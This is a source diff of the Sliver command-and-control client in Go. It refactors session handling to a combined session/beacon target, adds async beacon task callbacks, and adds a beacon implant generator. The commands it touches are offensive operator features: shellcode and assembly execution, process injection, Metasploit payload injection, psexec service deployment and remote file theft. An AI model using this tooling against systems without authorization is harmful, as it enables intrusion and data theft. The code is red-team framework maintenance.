@@ -41,16 +43,34 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
Name: name,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if unsetResp.Response != nil && unsetResp.Response.Async {
con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, unsetResp)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintUnsetEnvInfo(name, unsetResp, con)
})
con.PrintAsyncResponse(unsetResp.Response)
} else {
PrintUnsetEnvInfo(name, unsetResp, con)
}
if unsetResp.Response != nil && unsetResp.Response.Err != "" {
con.PrintErrorf("%s\n", unsetResp.Response.Err)
}
// PrintUnsetEnvInfo - Print the set environment info
func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
}
con.PrintInfof("Successfully unset %s\n", name)
+2 -2
View File
@@ -32,7 +32,7 @@ import (
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -60,7 +60,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
executeAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: strings.Join(assemblyArgs, " "),
+5 -5
View File
@@ -37,7 +37,7 @@ import (
// ExecuteShellcodeCmd - Execute shellcode in-memory
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -65,7 +65,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
Data: shellcodeBin,
RWXPages: ctx.Flags.Bool("rwx-pages"),
Pid: uint32(pid),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
@@ -82,7 +82,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
// Check active session
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -104,7 +104,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: hostProc,
EnablePTY: !noPty,
TunnelID: tunnel.ID,
@@ -121,7 +121,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Pid: pid,
Data: shellcode,
RWXPages: rwxPages,
+3 -3
View File
@@ -28,7 +28,7 @@ import (
// ExecuteCmd - Run a command on the remote system
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -46,7 +46,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token {
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
@@ -55,7 +55,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
+2 -2
View File
@@ -26,7 +26,7 @@ import (
// MigrateCmd - Windows only, inject an implant into another process
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -38,7 +38,7 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
Pid: uint32(pid),
Config: config,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
+2 -2
View File
@@ -31,7 +31,7 @@ import (
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -58,7 +58,7 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
+2 -2
View File
@@ -31,7 +31,7 @@ import (
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -52,7 +52,7 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
+6 -5
View File
@@ -26,6 +26,7 @@ import (
"time"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -36,7 +37,7 @@ import (
// PsExecCmd - psexec command implementation.
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -55,7 +56,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
con.PrintWarnf("Warning: You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
con.PrintWarnf("You might want to change that before going further...\n")
if !con.IsUserAnAdult() {
if !settings.IsUserAnAdult(con) {
return
}
}
@@ -96,7 +97,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Encoder: "gzip",
Data: uploadGzip,
Path: filePath,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
uploadCtrl <- true
<-uploadCtrl
@@ -119,7 +120,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
BinPath: binaryPath,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
ServiceDescription: serviceDesc,
ServiceName: serviceName,
Arguments: "",
@@ -142,7 +143,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Hostname: hostname,
ServiceName: serviceName,
},
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
removeChan <- true
<-removeChan
+2 -2
View File
@@ -31,7 +31,7 @@ import (
// SideloadCmd - Sideload a shared library on the remote system
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -51,7 +51,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Args: args,
Data: binData,
EntryPoint: entryPoint,
+2 -2
View File
@@ -15,7 +15,7 @@ import (
// SpawnDllCmd - Spawn execution of a DLL on the remote system
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -36,7 +36,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
Args: dllArgs,
EntryPoint: exportName,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Kill: !ctx.Flags.Bool("keep-alive"),
})
+2 -2
View File
@@ -19,7 +19,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
privKey []byte
err error
)
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -58,7 +58,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+6 -6
View File
@@ -158,13 +158,13 @@ func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConso
}
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s", err)
@@ -192,7 +192,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
// Try to find the extension in the loaded extensions
if len(session.Extensions) == 0 {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
@@ -255,7 +255,7 @@ func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand,
Data: binData,
OS: session.OS,
Init: ext.Init,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return err
@@ -290,7 +290,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
extName string
entryPoint string
)
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -350,7 +350,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Name: extName,
Export: entryPoint,
Args: extensionArgs,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
+28 -11
View File
@@ -28,16 +28,18 @@ import (
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CatCmd - Display the contents of a remote file
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -48,13 +50,36 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, ctx, con)
}
}
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
@@ -73,14 +98,6 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Println(string(download.Data))
}
}
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
// err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)
// if err != nil {
// con.PrintErrorf("Failed to save output as loot: %s", err)
// } else {
// fmt.Printf(clearln + Info + "Output saved as loot\n")
// }
// }
}
func colorize(f *sliverpb.Download) error {
+19 -4
View File
@@ -22,26 +22,41 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CdCmd - Change directory on the remote system
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("path")
pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPwd(pwd, con)
})
con.PrintAsyncResponse(pwd.Response)
} else {
con.PrintInfof("%s\n", pwd.Path)
PrintPwd(pwd, con)
}
}
+49 -21
View File
@@ -27,16 +27,18 @@ import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -55,19 +57,10 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
ctrl <- true
@@ -76,7 +69,51 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintDownload(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintDownload(download, ctx, con)
}
}
// PrintDownload - Print the download response, and save file to disk
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
@@ -96,13 +133,4 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
}
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
// err = AddLootFile(rpc, fmt.Sprintf("[download] %s", filepath.Base(remotePath)), remotePath, download.Data, false)
// if err != nil {
// con.PrintErrorf("Failed to save output as loot: %s", err)
// } else {
// fmt.Printf(Info + "Output saved as loot\n")
// }
// }
}
+30 -11
View File
@@ -29,16 +29,18 @@ import (
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// LsCmd - List the contents of a remote directory
func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -60,18 +62,17 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurence := strings.LastIndex(testPath, "/")
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurence == -1 {
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurence]
potentialFilter := remotePath[lastSeparatorOccurence+1:]
// The indices should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurrence]
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
_, err := filepath.Match(potentialFilter, "")
@@ -84,18 +85,36 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if ls.Response != nil && ls.Response.Async {
con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, ls)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintLs(ls, ctx.Flags, filter, con)
})
con.PrintAsyncResponse(ls.Response)
} else {
PrintLs(ls, con, ctx.Flags, filter)
PrintLs(ls, ctx.Flags, filter, con)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.FlagMap, filter string) {
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err)
return
}
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
+28 -4
View File
@@ -22,15 +22,17 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MkdirCmd - Make a remote directory
func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -42,12 +44,34 @@ func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if mkdir.Response != nil && mkdir.Response.Async {
con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, mkdir)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMkdir(mkdir, con)
})
con.PrintAsyncResponse(mkdir.Response)
} else {
con.PrintInfof("%s\n", mkdir.Path)
PrintMkdir(mkdir, con)
}
}
// PrintMkdir - Print make directory
func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) {
if mkdir.Response != nil && mkdir.Response.Err != "" {
con.PrintErrorf("%s\n", mkdir.Response.Err)
return
}
con.PrintInfof("%s\n", mkdir.Path)
}
+28 -5
View File
@@ -22,24 +22,47 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// PwdCmd - Print the remote working directory
func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPwd(pwd, con)
})
con.PrintAsyncResponse(pwd.Response)
} else {
con.PrintInfof("%s\n", pwd.Path)
PrintPwd(pwd, con)
}
}
// PrintPwd - Print the remote working directory
func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) {
if pwd.Response != nil && pwd.Response.Err != "" {
con.PrintErrorf("%s\n", pwd.Response.Err)
return
}
con.PrintInfof("%s\n", pwd.Path)
}
+28 -4
View File
@@ -22,15 +22,17 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// RmCmd - Remove a directory from the remote file system
func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -42,14 +44,36 @@ func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
Recursive: ctx.Flags.Bool("recursive"),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if rm.Response != nil && rm.Response.Async {
con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, rm)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRm(rm, con)
})
con.PrintAsyncResponse(rm.Response)
} else {
con.PrintInfof("%s\n", rm.Path)
PrintRm(rm, con)
}
}
// PrintRm - Print the rm response
func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) {
if rm.Response != nil && rm.Response.Err != "" {
con.PrintErrorf("%s\n", rm.Response.Err)
return
}
con.PrintInfof("%s\n", rm.Path)
}
+28 -4
View File
@@ -26,16 +26,18 @@ import (
"path/filepath"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// UploadCmd - Upload a file to the remote system
func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -67,7 +69,7 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
@@ -77,7 +79,29 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if upload.Response != nil && upload.Response.Async {
con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, upload)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintUpload(upload, con)
})
con.PrintAsyncResponse(upload.Response)
} else {
con.PrintInfof("Wrote file to %s\n", upload.Path)
PrintUpload(upload, con)
}
}
// PrintUpload - Print the result of the upload command
func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
if upload.Response != nil && upload.Response.Err != "" {
con.PrintErrorf("%s\n", upload.Response.Err)
return
}
con.PrintInfof("Wrote file to %s\n", upload.Path)
}
@@ -0,0 +1,48 @@
package generate
import (
"fmt"
"os"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
var (
minBeaconInterval = 15 * time.Second
ErrBeaconIntervalTooShort = fmt.Errorf("Beacon interval must be %v or greater", minBeaconInterval)
)
// GenerateBeaconCmd - The main command used to generate implant binaries
func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
config := parseCompileFlags(ctx, con)
if config == nil {
return
}
config.IsBeacon = true
err := parseBeaconFlags(ctx, con, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
compile(config, save, con)
}
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
if interval < minBeaconInterval {
return ErrBeaconIntervalTooShort
}
config.BeaconInterval = int64(interval)
config.BeaconJitter = int64(time.Duration(ctx.Flags.Int64("jitter")) * time.Second)
return nil
}
+11 -8
View File
@@ -62,8 +62,8 @@ const (
// DefaultReconnect is the default reconnect time
DefaultReconnect = 60
// DefaultPoll is the default poll interval
DefaultPoll = 1
// DefaultPollTimeout is the default poll timeout
DefaultPollTimeout = 360 // 6 minutes
// DefaultMaxErrors is the default max reconnection errors before giving up
DefaultMaxErrors = 1000
)
@@ -210,7 +210,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
}
reconnectInterval := ctx.Flags.Int("reconnect")
pollInterval := ctx.Flags.Int("poll")
pollTimeout := ctx.Flags.Int("poll-timeout")
